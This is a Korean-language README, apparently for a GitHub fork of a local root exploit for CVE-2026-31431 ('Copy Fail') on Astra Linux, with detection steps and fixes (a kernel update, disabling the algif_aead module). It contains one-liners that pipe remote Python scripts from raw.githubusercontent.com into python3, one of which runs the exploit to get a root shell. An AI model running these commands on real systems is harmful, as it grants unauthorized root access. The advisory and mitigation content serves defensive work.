
CVE-2026-31431(Copy Fail) 로컬 권한 상승 취약점을 Astra Linux에서 탐지하고 악용하며, Python 3.7+ 호환성 및 원라이너 배포를 지원합니다.
악용 없이 안전한 확인:
curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/detect.py | python3
악용 (사용자 비밀번호를 입력하라는 메시지가 표시될 때)
python3 -c "$(curl -s https://raw.githubusercontent.com/p401a-ops/Copy-Fail/refs/heads/main/exp.py)" --shell
Python 3.7, 3.8, 3.9, 3.10, 3.11에 맞게 조정된 포크입니다.
원본 익스플로잇은 os.splice() 사용으로 인해 Python 3.12+가 필요합니다.
# ❌ 원본 익스플로잇 (Python 3.12+ 전용)
os.splice(fd_in, fd_out, length, offset_src=offset)
# AttributeError: module 'os' has no attribute 'splice'
os.splice()에 대한 의존성 제거###Astra Linux에서의 악용
취약점은 Astra Linux에서 검증되었습니다. algif_aead 모듈이 존재하며, 악용을 통해 sudo에 대한 액세스 권한을 얻고 root로 권한을 상승시킬 수 있습니다.
그러나 강제 접근 제어(MKD/Parsec)가 활성화된 경우 슈퍼관리자(레벨 63 / astra-admin 역할)가 되는 것은 불가능합니다: 강제 레이블은 root 프로세스의 권한까지 제한하며, 보안 정책은 설정된 기밀성 수준을 넘어서는 것을 허용하지 않습니다.
따라서: 🔴 MKD가 없거나 MKD가 비활성화된 Astra Linux 시스템 — 완전히 취약합니다. 🟡 MKD가 활성화된 시스템 — 부분적으로 보호됨: root 획득은 가능하지만 공격자의 실제 능력은 강제 정책에 의해 제한됩니다.
두 경우 모두 취약점이 발견되면 2번 또는 3번 항목의 조치를 적용하는 것이 필수입니다.
━━━━━━━━━━━━━━━
각 서버에서 다음 명령을 실행해야 합니다. 이 명령은 시스템에 어떠한 변경도 가하지 않으며 취약한 모듈이 사용 가능한지만 확인합니다.
서버에 연결하여 한 줄로 실행:
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("\n" + "*"30 + "\n** УЯЗВИМА **\n" + ""*30)'
🔴 화면에 УЯЗВИМА라는 단어가 나타나면 — 서버가 취약점에 노출된 것이므로 2번 항목으로 진행해야 합니다. 🟢 Python 오류 메시지가 나타나면 — 서버가 취약점에 노출되지 않은 것이므로 추가 조치가 필요 없습니다.
━━━━━━━━━━━━━━━ 2. 주요 해결책 — 커널 업데이트
커널을 수정 사항이 포함된 버전(6.18.22, 6.19.12 이상)으로 업데이트해야 합니다. 업데이트 시점까지 3번 항목의 모듈 비활성화가 보호를 제공합니다.
Debian / Ubuntu / Astra Linux의 경우:
apt-get update apt-get dist-upgrade reboot
재부팅 후 반드시 새 커널이 로드되었는지 확인하세요:
uname -r
명령이 6.18.22보다 낮은 버전을 표시하면 — 커널이 업데이트되지 않았거나 시스템이 이전 이미지로 부팅된 것입니다. 이 경우 업데이트가 설치되었는지(apt-get dist-upgrade가 오류 없이 완료되었는지) 확인하고 재부팅을 반복해야 합니다.
⚠️ Astra Linux 1.7.x: 업데이트가 출시될 때까지 유일한 보호 조치는 3번 항목의 모듈 비활성화입니다. 패치를 받으려면 개인 계정을 통해 Astra Linux 기술 지원에 문의하는 것이 좋습니다.
━━━━━━━━━━━━━━━ 3. 임시 보호 조치 — 취약한 모듈 비활성화
현재 커널 업데이트가 불가능한 경우 임시 조치로 취약한 모듈을 비활성화하는 것이 좋습니다. 이 작업은 재부팅이 필요 없으며 즉시 적용됩니다. 적용 전에 테스트 환경에서 변경 사항을 확인하는 것이 좋습니다: 드물게 일부 서비스가 이 모듈을 직접 사용할 수 있습니다.
모듈 비활성화 명령. root(또는 sudo를 통해)로 실행:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
첫 번째 명령은 이후 부팅 시 모듈 로드를 금지합니다. 두 번째 명령은 현재 로드된 경우 즉시 언로드합니다. 두 번째 명령의 오류는 정상입니다. 모듈이 이미 활성화되지 않았음을 의미합니다.